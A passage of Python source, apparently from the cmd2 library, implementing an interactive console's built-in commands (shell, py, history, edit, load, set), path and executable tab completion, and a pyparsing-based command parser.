else:\n # Otherwise, read a command from stdin\n line = self.pseudo_raw_input(self.prompt)\n\n # Run the command along with all associated pre and post hooks\n stop = self.onecmd_plus_hooks(line)\n finally:\n if self.use_rawinput and self.completekey:\n try:\n readline.set_completer(self.old_completer)\n readline.set_completer_delims(self.old_delims)\n except NameError:\n pass\n\n # Need to set empty list this way because Python 2 doesn't support the clear() method on lists\n self.cmdqueue = []\n self._script_dir = []\n\n return stop\n\n # noinspection PyUnusedLocal\n def do_cmdenvironment(self, args):\n \"\"\"Summary report of interactive parameters.\"\"\"\n self.poutput(\"\"\"\n Commands are case-sensitive: {}\n Commands may be terminated with: {}\n Arguments at invocation allowed: {}\n Output redirection and pipes allowed: {}\n Parsing of @options commands:\n Shell lexer mode for command argument splitting: {}\n Strip Quotes after splitting arguments: {}\n Argument type: {}\n \\n\"\"\".format(not self.case_insensitive, str(self.terminators), self.allow_cli_args, self.allow_redirection,\n \"POSIX\" if POSIX_SHLEX else \"non-POSIX\",\n \"True\" if STRIP_QUOTES_FOR_NON_POSIX and not POSIX_SHLEX else \"False\",\n \"List of argument strings\" if USE_ARG_LIST else \"string of space-separated arguments\"))\n\n def do_help(self, arg):\n \"\"\"List available commands with \"help\" or detailed help with \"help cmd\".\"\"\"\n if arg:\n # Getting help for a specific command\n funcname = self._func_named(arg)\n if funcname:\n # No special behavior needed, delegate to cmd base class do_help()\n cmd.Cmd.do_help(self, funcname[3:])\n else:\n # Show a menu of what commands help can be gotten for\n self._help_menu()\n\n def _help_menu(self):\n \"\"\"Show a list of commands which help can be displayed for.\n \"\"\"\n # Get a list of all method names\n names = self.get_names()\n\n # Remove any command names which are explicitly excluded from the help menu\n for name in self.exclude_from_help:\n names.remove(name)\n\n cmds_doc = []\n cmds_undoc = []\n help_dict = {}\n for name in names:\n if name[:5] == 'help_':\n help_dict[name[5:]] = 1\n names.sort()\n # There can be duplicates if routines overridden\n prevname = ''\n for name in names:\n if name[:3] == 'do_':\n if name == prevname:\n continue\n prevname = name\n command = name[3:]\n if command in help_dict:\n cmds_doc.append(command)\n del help_dict[command]\n elif getattr(self, name).__doc__:\n cmds_doc.append(command)\n else:\n cmds_undoc.append(command)\n self.poutput(\"%s\\n\" % str(self.doc_leader))\n self.print_topics(self.doc_header, cmds_doc, 15, 80)\n self.print_topics(self.misc_header, list(help_dict.keys()), 15, 80)\n self.print_topics(self.undoc_header, cmds_undoc, 15, 80)\n\n # noinspection PyUnusedLocal\n def do_shortcuts(self, args):\n \"\"\"Lists shortcuts (aliases) available.\"\"\"\n result = \"\\n\".join('%s: %s' % (sc[0], sc[1]) for sc in sorted(self.shortcuts))\n self.poutput(\"Shortcuts for other commands:\\n{}\\n\".format(result))\n\n # noinspection PyUnusedLocal\n def do_eof(self, arg):\n \"\"\"Called when -D is pressed.\"\"\"\n # End of script should not exit app, but -D should.\n return self._STOP_AND_EXIT\n\n def do_quit(self, arg):\n \"\"\"Exits this application.\"\"\"\n self._should_quit = True\n return self._STOP_AND_EXIT\n\n def select(self, opts, prompt='Your choice? '):\n \"\"\"Presents a numbered menu to the user. Modelled after\n the bash shell's SELECT. Returns the item chosen.\n\n Argument ``opts`` can be:\n\n | a single string -> will be split into one-word options\n | a list of strings -> will be offered as options\n | a list of tuples -> interpreted as (value, text), so\n that the return value can differ from\n the text advertised to the user \"\"\"\n local_opts = opts\n if isinstance(opts, string_types):\n local_opts = list(zip(opts.split(), opts.split()))\n fulloptions = []\n for opt in local_opts:\n if isinstance(opt, string_types):\n fulloptions.append((opt, opt))\n else:\n try:\n fulloptions.append((opt[0], opt[1]))\n except IndexError:\n fulloptions.append((opt[0], opt[0]))\n for (idx, (value, text)) in enumerate(fulloptions):\n self.poutput(' %2d. %s\\n' % (idx + 1, text))\n while True:\n response = sm.input(prompt)\n try:\n response = int(response)\n result = fulloptions[response - 1][0]\n break\n except (ValueError, IndexError):\n self.poutput(\"{!r} isn't a valid choice. Pick a number between 1 and {}:\\n\".format(response,\n len(fulloptions)))\n return result\n\n @options([make_option('-l', '--long', action=\"store_true\", help=\"describe function of parameter\")])\n def do_show(self, arg, opts):\n \"\"\"Shows value of a parameter.\"\"\"\n # If arguments are being passed as a list instead of as a string\n if USE_ARG_LIST:\n if arg:\n arg = arg[0]\n else:\n arg = ''\n\n param = arg.strip().lower()\n result = {}\n maxlen = 0\n for p in self.settable:\n if (not param) or p.startswith(param):\n result[p] = '%s: %s' % (p, str(getattr(self, p)))\n maxlen = max(maxlen, len(result[p]))\n if result:\n for p in sorted(result):\n if opts.long:\n self.poutput('{} # {}'.format(result[p].ljust(maxlen), self.settable[p]))\n else:\n self.poutput(result[p])\n else:\n raise LookupError(\"Parameter '%s' not supported (type 'show' for list of parameters).\" % param)\n\n def do_set(self, arg):\n \"\"\"Sets a settable parameter.\n\n Accepts abbreviated parameter names so long as there is no ambiguity.\n Call without arguments for a list of settable parameters with their values.\n \"\"\"\n try:\n statement, param_name, val = arg.parsed.raw.split(None, 2)\n val = val.strip()\n param_name = param_name.strip().lower()\n if param_name not in self.settable:\n hits = [p for p in self.settable if p.startswith(param_name)]\n if len(hits) == 1:\n param_name = hits[0]\n else:\n return self.do_show(param_name)\n current_val = getattr(self, param_name)\n if (val[0] == val[-1]) and val[0] in (\"'\", '\"'):\n val = val[1:-1]\n else:\n val = cast(current_val, val)\n setattr(self, param_name, val)\n self.poutput('%s - was: %s\\nnow: %s\\n' % (param_name, current_val, val))\n if current_val != val:\n try:\n onchange_hook = getattr(self, '_onchange_%s' % param_name)\n onchange_hook(old=current_val, new=val)\n except AttributeError:\n pass\n except (ValueError, AttributeError):\n self.do_show(arg)\n\n def do_shell(self, command):\n \"\"\"Execute a command as if at the OS prompt.\n\n Usage: shell [arguments]\"\"\"\n proc = subprocess.Popen(command, stdout=self.stdout, shell=True)\n proc.communicate()\n\n def path_complete(self, text, line, begidx, endidx, dir_exe_only=False, dir_only=False):\n \"\"\"Method called to complete an input line by local file system path completion.\n\n :param text: str - the string prefix we are attempting to match (all returned matches must begin with it)\n :param line: str - the current input line with leading whitespace removed\n :param begidx: int - the beginning indexe of the prefix text\n :param endidx: int - the ending index of the prefix text\n :param dir_exe_only: bool - only return directories and executables, not non-executable files\n :param dir_only: bool - only return directories\n :return: List[str] - a list of possible tab completions\n \"\"\"\n # Deal with cases like load command and @ key when path completion is immediately after a shortcut\n for (shortcut, expansion) in self.shortcuts:\n if line.startswith(shortcut):\n # If the next character after the shortcut isn't a space, then insert one and adjust indices\n shortcut_len = len(shortcut)\n if len(line) == shortcut_len or line[shortcut_len] != ' ':\n line = line.replace(shortcut, shortcut + ' ', 1)\n begidx += 1\n endidx += 1\n break\n\n # Determine if a trailing separator should be appended to directory completions\n add_trailing_sep_if_dir = False\n if endidx == len(line) or (endidx < len(line) and line[endidx] != os.path.sep):\n add_trailing_sep_if_dir = True\n\n add_sep_after_tilde = False\n # If no path and no search text has been entered, then search in the CWD for *\n if not text and line[begidx - 1] == ' ' and (begidx >= len(line) or line[begidx] == ' '):\n search_str = os.path.join(os.getcwd(), '*')\n else:\n # Parse out the path being searched\n prev_space_index = line.rfind(' ', 0, begidx)\n dirname = line[prev_space_index + 1:begidx]\n\n # Purposely don't match any path containing wildcards - what we are doing is complicated enough!\n wildcards = ['*', '?']\n for wildcard in wildcards:\n if wildcard in dirname or wildcard in text:\n return []\n\n if not dirname:\n dirname = os.getcwd()\n elif dirname == '~':\n # If tilde was used without separator, add a separator after the tilde in the completions\n add_sep_after_tilde = True\n\n # Build the search string\n search_str = os.path.join(dirname, text + '*')\n\n # Expand \"~\" to the real user directory\n search_str = os.path.expanduser(search_str)\n\n # Find all matching path completions\n path_completions = glob.glob(search_str)\n\n # If we only want directories and executables, filter everything else out first\n if dir_exe_only:\n path_completions = [c for c in path_completions if os.path.isdir(c) or os.access(c, os.X_OK)]\n elif dir_only:\n path_completions = [c for c in path_completions if os.path.isdir(c)]\n\n # Get the basename of the paths\n completions = []\n for c in path_completions:\n basename = os.path.basename(c)\n\n # Add a separator after directories if the next character isn't already a separator\n if os.path.isdir(c) and add_trailing_sep_if_dir:\n basename += os.path.sep\n\n completions.append(basename)\n\n # If there is a single completion\n if len(completions) == 1:\n # If it is a file and we are at the end of the line, then add a space for convenience\n if os.path.isfile(path_completions[0]) and endidx == len(line):\n completions[0] += ' '\n # If tilde was expanded without a separator, prepend one\n elif os.path.isdir(path_completions[0]) and add_sep_after_tilde:\n completions[0] = os.path.sep + completions[0]\n\n # If there are multiple completions, then sort them alphabetically\n return sorted(completions)\n\n # Enable tab completion of paths for relevant commands\n complete_edit = path_complete\n complete_load = path_complete\n complete_save = path_complete\n\n # noinspection PyUnusedLocal\n @staticmethod\n def _shell_command_complete(text, line, begidx, endidx):\n \"\"\"Method called to complete an input line by environment PATH executable completion.\n\n :param text: str - the string prefix we are attempting to match (all returned matches must begin with it)\n :param line: str - the current input line with leading whitespace removed\n :param begidx: int - the beginning index of the prefix text\n :param endidx: int - the ending index of the prefix text\n :return: List[str] - a list of possible tab completions\n \"\"\"\n\n # Purposely don't match any executable containing wildcards\n wildcards = ['*', '?']\n for wildcard in wildcards:\n if wildcard in text:\n return []\n\n # Get a list of every directory in the PATH environment variable and ignore symbolic links\n paths = [p for p in os.getenv('PATH').split(os.path.pathsep) if not os.path.islink(p)]\n\n # Find every executable file in the PATH that matches the pattern\n exes = []\n for path in paths:\n full_path = os.path.join(path, text)\n matches = [f for f in glob.glob(full_path + '*') if os.path.isfile(f) and os.access(f, os.X_OK)]\n\n for match in matches:\n exes.append(os.path.basename(match))\n\n # If there is a single completion and we are at end of the line, then add a space at the end for convenience\n if len(exes) == 1 and endidx == len(line):\n exes[0] += ' '\n\n # If there are multiple completions, then sort them alphabetically\n return sorted(exes)\n\n # noinspection PyUnusedLocal\n def complete_shell(self, text, line, begidx, endidx):\n \"\"\"Handles tab completion of executable commands and local file system paths.\n\n :param text: str - the string prefix we are attempting to match (all returned matches must begin with it)\n :param line: str - the current input line with leading whitespace removed\n :param begidx: int - the beginning index of the prefix text\n :param endidx: int - the ending index of the prefix text\n :return: List[str] - a list of possible tab completions\n \"\"\"\n\n # First we strip off the shell command or shortcut key\n if line.startswith('!'):\n stripped_line = line.lstrip('!')\n initial_length = len('!')\n else:\n stripped_line = line[len('shell'):]\n initial_length = len('shell')\n\n line_parts = stripped_line.split()\n\n # Don't tab complete anything if user only typed shell or !\n if not line_parts:\n return []\n\n # Find the start index of the first thing after the shell or !\n cmd_start = line.find(line_parts[0], initial_length)\n cmd_end = cmd_start + len(line_parts[0])\n\n # Check if we are in the command token\n if cmd_start <= begidx <= cmd_end:\n\n # See if text is part of a path\n possible_path = line[cmd_start:begidx]\n\n # There is nothing to search\n if len(possible_path) == 0 and not text:\n return []\n\n if os.path.sep not in possible_path and possible_path != '~':\n # The text before the search text is not a directory path.\n # It is OK to try shell command completion.\n command_completions = self._shell_command_complete(text, line, begidx, endidx)\n\n if command_completions:\n return command_completions\n\n # If we have no results, try path completion\n return self.path_complete(text, line, begidx, endidx, dir_exe_only=True)\n\n # Past command token\n else:\n # Do path completion\n return self.path_complete(text, line, begidx, endidx)\n\n # noinspection PyBroadException\n def do_py(self, arg):\n \"\"\"\n py : Executes a Python command.\n py: Enters interactive Python mode.\n End with ``Ctrl-D`` (Unix) / ``Ctrl-Z`` (Windows), ``quit()``, '`exit()``.\n Non-python commands can be issued with ``cmd(\"your command\")``.\n Run python code from external script files with ``run(\"script.py\")``\n \"\"\"\n if self._in_py:\n self.perror(\"Recursively entering interactive Python consoles is not allowed.\", traceback_war=False)\n return\n self._in_py = True\n\n try:\n self.pystate['self'] = self\n arg = arg.strip()\n\n # Support the run command even if called prior to invoking an interactive interpreter\n def run(filename):\n \"\"\"Run a Python script file in the interactive console.\n\n :param filename: str - filename of *.py script file to run\n \"\"\"\n try:\n with open(filename) as f:\n interp.runcode(f.read())\n except IOError as e:\n self.perror(e)\n\n def onecmd_plus_hooks(cmd_plus_args):\n \"\"\"Run a cmd2.Cmd command from a Python script or the interactive Python console.\n\n :param cmd_plus_args: str - command line including command and arguments to run\n :return: bool - True if cmdloop() should exit once leaving the interactive Python console\n \"\"\"\n return self.onecmd_plus_hooks(cmd_plus_args + '\\n')\n\n self.pystate['run'] = run\n self.pystate['cmd'] = onecmd_plus_hooks\n\n localvars = (self.locals_in_py and self.pystate) or {}\n interp = InteractiveConsole(locals=localvars)\n interp.runcode('import sys, os;sys.path.insert(0, os.getcwd())')\n\n if arg:\n interp.runcode(arg)\n else:\n # noinspection PyShadowingBuiltins\n def quit():\n \"\"\"Function callable from the interactive Python console to exit that environment\"\"\"\n raise EmbeddedConsoleExit\n\n self.pystate['quit'] = quit\n self.pystate['exit'] = quit\n\n keepstate = None\n try:\n cprt = 'Type \"help\", \"copyright\", \"credits\" or \"license\" for more information.'\n keepstate = Statekeeper(sys, ('stdin', 'stdout'))\n sys.stdout = self.stdout\n sys.stdin = self.stdin\n interp.interact(banner=\"Python %s on %s\\n%s\\n(%s)\\n%s\" %\n (sys.version, sys.platform, cprt, self.__class__.__name__,\n self.do_py.__doc__))\n except EmbeddedConsoleExit:\n pass\n if keepstate is not None:\n keepstate.restore()\n except Exception:\n pass\n finally:\n self._in_py = False\n return self._should_quit\n\n # noinspection PyUnusedLocal\n @options([], arg_desc=' [script_arguments]')\n def do_pyscript(self, arg, opts=None):\n \"\"\"\\nRuns a python script file inside the console\n\nConsole commands can be executed inside this script with cmd(\"your command\")\nHowever, you cannot run nested \"py\" or \"pyscript\" commands from within this script\nPaths or arguments that contain spaces must be enclosed in quotes\n\"\"\"\n if not arg:\n self.perror(\"pyscript command requires at least 1 argument ...\", traceback_war=False)\n self.do_help('pyscript')\n return\n\n if not USE_ARG_LIST:\n arg = shlex.split(arg, posix=POSIX_SHLEX)\n\n # Get the absolute path of the script\n script_path = os.path.expanduser(arg[0])\n\n # Save current command line arguments\n orig_args = sys.argv\n\n # Overwrite sys.argv to allow the script to take command line arguments\n sys.argv = [script_path]\n sys.argv.extend(arg[1:])\n\n # Run the script - use repr formatting to escape things which need to be escaped to prevent issues on Windows\n self.do_py(\"run({!r})\".format(script_path))\n\n # Restore command line arguments to original state\n sys.argv = orig_args\n\n # Enable tab completion of paths for pyscript command\n complete_pyscript = path_complete\n\n # Only include the do_ipy() method if IPython is available on the system\n if ipython_available:\n # noinspection PyMethodMayBeStatic,PyUnusedLocal\n def do_ipy(self, arg):\n \"\"\"Enters an interactive IPython shell.\n\n Run python code from external files with ``run filename.py``\n End with ``Ctrl-D`` (Unix) / ``Ctrl-Z`` (Windows), ``quit()``, '`exit()``.\n \"\"\"\n banner = 'Entering an embedded IPython shell type quit() or -d to exit ...'\n exit_msg = 'Leaving IPython, back to {}'.format(sys.argv[0])\n embed(banner1=banner, exit_msg=exit_msg)\n\n @options([make_option('-s', '--script', action=\"store_true\", help=\"Script format; no separation lines\"),\n ], arg_desc='(limit on which commands to include)')\n def do_history(self, arg, opts):\n \"\"\"history [arg]: lists past commands issued\n\n | no arg: list all\n | arg is integer: list one history item, by index\n | a..b, a:b, a:, ..b -> list history items by a span of indices (inclusive)\n | arg is string: list all commands matching string search\n | arg is /enclosed in forward-slashes/: regular expression search\n \"\"\"\n # If arguments are being passed as a list instead of as a string\n if USE_ARG_LIST:\n if arg:\n arg = arg[0]\n else:\n arg = ''\n\n # If an argument was supplied, then retrieve partial contents of the history\n if arg:\n # If a character indicating a slice is present, retrieve a slice of the history\n if '..' in arg or ':' in arg:\n try:\n # Get a slice of history\n history = self.history.span(arg)\n except IndexError:\n history = self.history.get(arg)\n else:\n # Get item(s) from history by index or string search\n history = self.history.get(arg)\n else:\n # If no arg given, then retrieve the entire history\n history = self.history\n\n # Display the history items retrieved\n for hi in history:\n if opts.script:\n self.poutput(hi)\n else:\n self.poutput(hi.pr())\n\n def _last_matching(self, arg):\n \"\"\"Return the last item from the history list that matches arg. Or if arg not provided, return last item.\n\n If not match is found, return None.\n\n :param arg: str - text to search for in history\n :return: str - last match, last item, or None, depending on arg.\n \"\"\"\n try:\n if arg:\n return self.history.get(arg)[-1]\n else:\n return self.history[-1]\n except IndexError:\n return None\n\n @options([], arg_desc=\"\"\"[N]|[file_path]\n * N - Number of command (from history), or `*` for all commands in history (default: last command)\n * file_path - path to a file to open in editor\"\"\")\n def do_edit(self, arg, opts=None):\n \"\"\"Edit a file or command in a text editor.\n\nThe editor used is determined by the ``editor`` settable parameter.\n\"set editor (program-name)\" to change or set the EDITOR environment variable.\n\nThe optional arguments are mutually exclusive. Either a command number OR a file name can be supplied.\nIf neither is supplied, the most recent command in the history is edited.\n\nEdited commands are always run after the editor is closed.\n\nEdited files are run on close if the ``autorun_on_edit`` settable parameter is True.\n\"\"\"\n if not self.editor:\n raise EnvironmentError(\"Please use 'set editor' to specify your text editing program of choice.\")\n filename = None\n if arg and arg[0]:\n try:\n # Try to convert argument to an integer\n history_idx = int(arg[0])\n except ValueError:\n # Argument passed is not convertible to an integer, so treat it as a file path\n filename = arg[0]\n history_item = ''\n else:\n # Argument passed IS convertible to an integer, so treat it as a history index\n\n # Save off original index for pringing\n orig_indx = history_idx\n\n # Convert negative index into equivalent positive one\n if history_idx < 0:\n history_idx += len(self.history) + 1\n\n # Make sure the index is actually within the history\n if 1 <= history_idx <= len(self.history):\n history_item = self._last_matching(history_idx)\n else:\n self.perror('index {!r} does not exist within the history'.format(orig_indx), traceback_war=False)\n return\n\n else:\n try:\n history_item = self.history[-1]\n except IndexError:\n self.perror('edit must be called with argument if history is empty', traceback_war=False)\n return\n\n delete_tempfile = False\n if history_item:\n if filename is None:\n fd, filename = tempfile.mkstemp(suffix='.txt', text=True)\n os.close(fd)\n delete_tempfile = True\n\n f = open(os.path.expanduser(filename), 'w')\n f.write(history_item or '')\n f.close()\n\n os.system('\"{}\" \"{}\"'.format(self.editor, filename))\n\n if self.autorun_on_edit or history_item:\n self.do_load(filename)\n\n if delete_tempfile:\n os.remove(filename)\n\n saveparser = (pyparsing.Optional(pyparsing.Word(pyparsing.nums) ^ '*')(\"idx\") +\n pyparsing.Optional(pyparsing.Word(legalChars + '/\\\\'))(\"fname\") +\n pyparsing.stringEnd)\n\n def do_save(self, arg):\n \"\"\"Saves command(s) from history to file.\n\n Usage: save [N] [file_path]\n\n * N - Number of command (from history), or `*` for all commands in history (default: last command)\n * file_path - location to save script of command(s) to (default: value stored in temporary file)\"\"\"\n try:\n args = self.saveparser.parseString(arg)\n except pyparsing.ParseException:\n self.perror('Could not understand save target %s' % arg, traceback_war=False)\n raise SyntaxError(self.do_save.__doc__)\n\n # If a filename was supplied then use that, otherwise use a temp file\n if args.fname:\n fname = args.fname\n else:\n fd, fname = tempfile.mkstemp(suffix='.txt', text=True)\n os.close(fd)\n\n if args.idx == '*':\n saveme = '\\n\\n'.join(self.history[:])\n elif args.idx:\n saveme = self.history[int(args.idx) - 1]\n else:\n # Wrap in try to deal with case of empty history\n try:\n # Since this save command has already been added to history, need to go one more back for previous\n saveme = self.history[-2]\n except IndexError:\n self.perror('History is empty, nothing to save.', traceback_war=False)\n return\n try:\n f = open(os.path.expanduser(fname), 'w')\n f.write(saveme)\n f.close()\n self.pfeedback('Saved to {}'.format(fname))\n except Exception as e:\n self.perror('Saving {!r} - {}'.format(fname, e), traceback_war=False)\n\n @property\n def _current_script_dir(self):\n \"\"\"Accessor to get the current script directory from the _script_dir LIFO queue.\"\"\"\n if self._script_dir:\n return self._script_dir[-1]\n else:\n return None\n\n def do__relative_load(self, file_path):\n \"\"\"Runs commands in script file that is encoded as either ASCII or UTF-8 text.\n\n Usage: _relative_load \n\n optional argument:\n file_path a file path pointing to a script\n\nScript should contain one command per line, just like command would be typed in console.\n\nIf this is called from within an already-running script, the filename will be interpreted\nrelative to the already-running script's directory.\n\nNOTE: This command is intended to only be used within text file scripts.\n \"\"\"\n # If arg is None or arg is an empty string this is an error\n if not file_path:\n self.perror('_relative_load command requires a file path:', traceback_war=False)\n return\n\n file_path = file_path.strip()\n # NOTE: Relative path is an absolute path, it is just relative to the current script directory\n relative_path = os.path.join(self._current_script_dir or '', file_path)\n self.do_load(relative_path)\n\n def do_eos(self, _):\n \"\"\"Handles cleanup when a script has finished executing.\"\"\"\n if self._script_dir:\n self._script_dir.pop()\n\n def do_load(self, file_path):\n \"\"\"Runs commands in script file that is encoded as either ASCII or UTF-8 text.\n\n Usage: load \n\n * file_path - a file path pointing to a script\n\nScript should contain one command per line, just like command would be typed in console.\n \"\"\"\n # If arg is None or arg is an empty string this is an error\n if not file_path:\n self.perror('load command requires a file path:', traceback_war=False)\n return\n\n expanded_path = os.path.abspath(os.path.expanduser(file_path.strip()))\n\n # Make sure expanded_path points to a file\n if not os.path.isfile(expanded_path):\n self.perror('{} does not exist or is not a file'.format(expanded_path), traceback_war=False)\n return\n\n # Make sure the file is not empty\n if os.path.getsize(expanded_path) == 0:\n self.perror('{} is empty'.format(expanded_path), traceback_war=False)\n return\n\n # Make sure the file is ASCII or UTF-8 encoded text\n if not self.is_text_file(expanded_path):\n self.perror('{} is not an ASCII or UTF-8 encoded text file'.format(expanded_path), traceback_war=False)\n return\n\n try:\n # Read all lines of the script and insert into the head of the\n # command queue. Add an \"end of script (eos)\" command to cleanup the\n # self._script_dir list when done. Specify file encoding in Python\n # 3, but Python 2 doesn't allow that argument to open().\n kwargs = {'encoding': 'utf-8'} if six.PY3 else {}\n with open(expanded_path, **kwargs) as target:\n self.cmdqueue = target.read().splitlines() + ['eos'] + self.cmdqueue\n except IOError as e:\n self.perror('Problem accessing script from {}:\\n{}'.format(expanded_path, e))\n return\n\n self._script_dir.append(os.path.dirname(expanded_path))\n\n def do_run(self, arg):\n \"\"\"run [arg]: re-runs an earlier command\n\n no arg -> run most recent command\n arg is integer -> run one history item, by index\n arg is string -> run most recent command by string search\n arg is /enclosed in forward-slashes/ -> run most recent by regex\"\"\"\n runme = self._last_matching(arg)\n self.pfeedback(runme)\n if runme:\n return self.onecmd_plus_hooks(runme)\n\n @staticmethod\n def is_text_file(file_path):\n \"\"\"\n Returns if a file contains only ASCII or UTF-8 encoded text\n :param file_path: path to the file being checked\n \"\"\"\n expanded_path = os.path.abspath(os.path.expanduser(file_path.strip()))\n valid_text_file = False\n\n # Check if the file is ASCII\n try:\n with codecs.open(expanded_path, encoding='ascii', errors='strict') as f:\n # Make sure the file has at least one line of text\n # noinspection PyUnusedLocal\n if sum(1 for line in f) > 0:\n valid_text_file = True\n except IOError:\n pass\n except UnicodeDecodeError:\n # The file is not ASCII. Check if it is UTF-8.\n try:\n with codecs.open(expanded_path, encoding='utf-8', errors='strict') as f:\n # Make sure the file has at least one line of text\n # noinspection PyUnusedLocal\n if sum(1 for line in f) > 0:\n valid_text_file = True\n except IOError:\n pass\n except UnicodeDecodeError:\n # Not UTF-8\n pass\n\n return valid_text_file\n\n def run_transcript_tests(self, callargs):\n \"\"\"Runs transcript tests for provided file(s).\n\n This is called when either -t is provided on the command line or the transcript_files argument is provided\n during construction of the cmd2.Cmd instance.\n\n :param callargs: List[str] - list of transcript test file names\n \"\"\"\n class TestMyAppCase(Cmd2TestCase):\n cmdapp = self\n\n self.__class__.testfiles = callargs\n sys.argv = [sys.argv[0]] # the --test argument upsets unittest.main()\n testcase = TestMyAppCase()\n runner = unittest.TextTestRunner()\n runner.run(testcase)\n\n def cmdloop(self, intro=None):\n \"\"\"This is an outer wrapper around _cmdloop() which deals with extra features provided by cmd2.\n\n _cmdloop() provides the main loop equivalent to cmd.cmdloop(). This is a wrapper around that which deals with\n the following extra features provided by cmd2:\n - commands at invocation\n - transcript testing\n - intro banner\n\n :param intro: str - if provided this overrides self.intro and serves as the intro banner printed once at start\n \"\"\"\n if self.allow_cli_args:\n parser = optparse.OptionParser()\n parser.add_option('-t', '--test', dest='test',\n action=\"store_true\",\n help='Test against transcript(s) in FILE (wildcards OK)')\n (callopts, callargs) = parser.parse_args()\n\n # If transcript testing was called for, use other arguments as transcript files\n if callopts.test:\n self._transcript_files = callargs\n\n # If commands were supplied at invocation, then add them to the command queue\n if callargs:\n self.cmdqueue.extend(callargs)\n\n # Always run the preloop first\n self.preloop()\n\n # If transcript-based regression testing was requested, then do that instead of the main loop\n if self._transcript_files is not None:\n self.run_transcript_tests(self._transcript_files)\n else:\n # If an intro was supplied in the method call, allow it to override the default\n if intro is not None:\n self.intro = intro\n\n # Print the intro, if there is one, right after the preloop\n if self.intro is not None:\n self.poutput(str(self.intro) + \"\\n\")\n\n # And then call _cmdloop() to enter the main loop\n self._cmdloop()\n\n # Run the postloop() no matter what\n self.postloop()\n\n\n# noinspection PyPep8Naming\nclass ParserManager:\n \"\"\"\n Class which encapsulates all of the pyparsing parser functionality for cmd2 in a single location.\n \"\"\"\n def __init__(self, redirector, terminators, multilineCommands, legalChars, commentGrammars, commentInProgress,\n case_insensitive, blankLinesAllowed, prefixParser, preparse, postparse, shortcuts):\n \"\"\"Creates and uses parsers for user input according to app's parameters.\"\"\"\n\n self.commentGrammars = commentGrammars\n self.preparse = preparse\n self.postparse = postparse\n self.shortcuts = shortcuts\n\n self.main_parser = self._build_main_parser(redirector=redirector, terminators=terminators,\n multilineCommands=multilineCommands, legalChars=legalChars,\n commentInProgress=commentInProgress,\n case_insensitive=case_insensitive,\n blankLinesAllowed=blankLinesAllowed, prefixParser=prefixParser)\n self.input_source_parser = self._build_input_source_parser(legalChars=legalChars,\n commentInProgress=commentInProgress)\n\n def _build_main_parser(self, redirector, terminators, multilineCommands, legalChars,\n commentInProgress, case_insensitive, blankLinesAllowed, prefixParser):\n \"\"\"Builds a PyParsing parser for interpreting user commands.\"\"\"\n\n # Build several parsing components that are eventually compiled into overall parser\n output_destination_parser = (pyparsing.Literal(redirector * 2) |\n (pyparsing.WordStart() + redirector) |\n pyparsing.Regex('[^=]' + redirector))('output')\n\n terminator_parser = pyparsing.Or(\n [(hasattr(t, 'parseString') and t) or pyparsing.Literal(t) for t in terminators])('terminator')\n string_end = pyparsing.stringEnd ^ '\\nEOF'\n multilineCommand = pyparsing.Or(\n [pyparsing.Keyword(c, caseless=case_insensitive) for c in multilineCommands])('multilineCommand')\n oneline_command = (~multilineCommand + pyparsing.Word(legalChars))('command')\n pipe = pyparsing.Keyword('|', identChars='|')\n do_not_parse = self.commentGrammars | commentInProgress | pyparsing.quotedString\n after_elements = \\\n pyparsing.Optional(pipe + pyparsing.SkipTo(output_destination_parser ^ string_end,\n ignore=do_not_parse)('pipeTo')) + \\\n pyparsing.Optional(output_destination_parser +\n pyparsing.SkipTo(string_end,\n ignore=do_not_parse).setParseAction(lambda x: x[0].strip())('outputTo'))\n if case_insensitive:\n multilineCommand.setParseAction(lambda x: x[0].lower())\n oneline_command.setParseAction(lambda x: x[0].lower())\n else:\n multilineCommand.setParseAction(lambda x: x[0])\n oneline_command.setParseAction(lambda x: x[0])\n\n if blankLinesAllowed:\n blankLineTerminationParser = pyparsing.NoMatch\n else:\n blankLineTerminator = (pyparsing.lineEnd + pyparsing.lineEnd)('terminator')\n blankLineTerminator.setResultsName('terminator')\n blankLineTerminationParser = ((multilineCommand ^ oneline_command) +\n pyparsing.SkipTo(blankLineTerminator, ignore=do_not_parse).setParseAction(\n lambda x: x[0].strip())('args') + blankLineTerminator)('statement')\n\n multilineParser = (((multilineCommand ^ oneline_command) +\n pyparsing.SkipTo(terminator_parser,\n ignore=do_not_parse).setParseAction(lambda x: x[0].strip())('args') +\n terminator_parser)('statement') +\n pyparsing.SkipTo(output_destination_parser ^ pipe ^ string_end,\n ignore=do_not_parse).setParseAction(lambda x: x[0].strip())('suffix') +\n after_elements)\n multilineParser.ignore(commentInProgress)\n\n singleLineParser = ((oneline_command +\n pyparsing.SkipTo(terminator_parser ^ string_end ^ pipe ^ output_destination_parser,\n ignore=do_not_parse).setParseAction(\n lambda x: x[0].strip())('args'))('statement') +\n pyparsing.Optional(terminator_parser) + after_elements)\n\n blankLineTerminationParser = blankLineTerminationParser.setResultsName('statement')\n\n parser = prefixParser + (\n string_end |\n multilineParser |\n singleLineParser |\n blankLineTerminationParser |\n multilineCommand + pyparsing.SkipTo(string_end, ignore=do_not_parse)\n )\n parser.ignore(self.commentGrammars)\n return parser\n\n @staticmethod\n def _build_input_source_parser(legalChars, commentInProgress):\n \"\"\"Builds a PyParsing parser for alternate user input sources (from file, pipe, etc.)\"\"\"\n\n input_mark = pyparsing.Literal('<')\n input_mark.setParseAction(lambda x: '')\n file_name = pyparsing.Word(legalChars + '/\\\\')\n input_from = file_name('inputFrom')\n input_from.setParseAction(replace_with_file_contents)\n # a not-entirely-satisfactory way of distinguishing < as in \"import from\" from <\n # as in \"lesser than\"\n inputParser = input_mark + pyparsing.Optional(input_from) + pyparsing.Optional('>') + \\\n pyparsing.Optional(file_name) + (pyparsing.stringEnd | '|')\n inputParser.ignore(commentInProgress)\n return inputParser\n\n def parsed(self, raw):\n \"\"\" This function is where the actual parsing of each line occurs.\n\n :param raw: str - the line of text as it was entered\n :return: ParsedString - custom subclass of str with extra attributes\n \"\"\"\n if isinstance(raw, ParsedString):\n p = raw\n else:\n # preparse is an overridable hook; default makes no changes\n s = self.preparse(raw)\n s = self.input_source_parser.transformString(s.lstrip())\n s = self.commentGrammars.transformString(s)\n for (shortcut, expansion) in self.shortcuts:\n if s.lower().startswith(shortcut):\n s = s.replace(shortcut, expansion + ' ', 1)\n break\n try:\n result = self.main_parser.parseString(s)\n except pyparsing.ParseException:\n # If we have a parsing failure, treat it is an empty command and move to next prompt\n result = self.main_parser.parseString('')\n result['raw'] = raw\n result['command'] = result.multilineCommand or result.command\n result = self.postparse(result)\n p = ParsedString(result.args)\n p.parsed = result\n p.parser = self.parsed\n return p\n\n\nclass 